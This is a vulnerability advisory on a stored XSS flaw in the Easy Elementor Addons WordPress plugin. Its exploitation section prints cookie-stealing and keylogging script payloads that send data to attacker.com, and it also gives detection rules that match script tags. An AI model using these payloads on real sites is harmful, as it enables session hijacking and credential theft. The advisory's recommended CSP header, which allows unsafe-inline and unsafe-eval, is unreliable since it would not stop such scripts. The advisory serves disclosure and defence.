CVE-2025-48295

Executive Summary

CVE-2025-48295 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Elementor Addons WordPress plugin by Hashthemes, affecting versions up to and including 2.2.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s widget outputs. When an administrator or other user views the compromised page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is unpatched as of the latest advisory, with no official fix from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly from the WordPress admin dashboard or via manual upload. Users should verify their plugin version and consider disabling or removing the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin must view the compromised page)
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of Elementor addons elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the easy-elementor-addons plugin’s widget rendering functions. The plugin fails to sanitize or escape user-supplied input before outputting it in the HTML page. Specifically, when a user with contributor-level access or higher creates or edits a post using an Easy Elementor Addons widget (e.g., a testimonial, team member, or pricing table), the plugin stores the input directly into the WordPress database without proper validation. When the page is rendered, the unsanitized input is injected into the DOM, allowing arbitrary JavaScript execution.

Attack Flow:

1. An attacker with contributor-level credentials logs into the WordPress admin.
2. The attacker creates a new post or page and inserts an Easy Elementor Addons widget.
3. In a text field (e.g., name, description, or custom CSS), the attacker injects a payload like <script>alert('XSS')</script>.
4. The plugin stores the payload in the database without sanitization.
5. When an administrator or other user views the compromised page, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filters without applying WordPress’s built-in escaping functions like esc_html(), wp_kses_post(), or esc_attr().

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (example from widget output):

// In a widget's render() method
echo '<div class="testimonial-text">' . $instance['testimonial'] . '</div>';

Patched Code (hypothetical):

// Properly escape output
echo '<div class="testimonial-text">' . esc_html( $instance['testimonial'] ) . '</div>';

The vulnerable code directly outputs user input without escaping, while the patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Easy Elementor Addons <= 2.2.5 installed and activated.
• Contributor-level user account or higher.

Step-by-Step Exploitation:

1. Log in as a contributor.
2. Navigate to Posts > Add New.
3. Add an Easy Elementor Addons widget (e.g., "Testimonial").
4. In the "Testimonial Text" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. When an admin views the post, the script executes, exfiltrating their session cookie.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual widget content containing <script> tags.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable or remove the Easy Elementor Addons plugin until a patch is available.
• Restrict contributor-level users from using custom HTML/JavaScript fields.
• Apply WordPress’s built-in wp_kses() filtering to all user inputs.

Indicators of Compromise (IOCs)

• File System: Presence of malicious JavaScript in WordPress database wp_postmeta or wp_posts tables.
• Network: Outbound HTTP requests to attacker-controlled domains containing ?cookie= or ?key= parameters.
• Logs: WordPress debug logs showing wp_kses failures or unescaped output warnings.
• Browser: Unexpected script execution in the context of the WordPress admin dashboard.

Example IOC (database entry):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule Detect_Easy_Elementor_Addons_XSS {
    meta:
        description = "Detects stored XSS payloads in Easy Elementor Addons plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48295"
    strings:
        $payload1 = "<script>" ascii wide
        $payload2 = "onerror=" ascii wide
        $payload3 = "javascript:" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Easy Elementor Addons
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Easy Elementor Addons plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
        http.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48295 Stored XSS in Easy Elementor Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"<script>"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin or by renaming the plugin folder via FTP/SFTP.
2. Remove any malicious posts containing XSS payloads from the database.
3. Reset all user passwords if session cookies were potentially compromised.

Long-Term Fix:

• Monitor the Hashthemes plugin repository for an official patch.
• If no patch is released, consider replacing the plugin with an alternative (e.g., Elementor Pro or other trusted addons).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce strict Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

Workaround (if plugin must remain active):

• Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
• Restrict contributor-level users from using custom HTML fields via user role editor.

Valters IT
Securing Digital Frontiers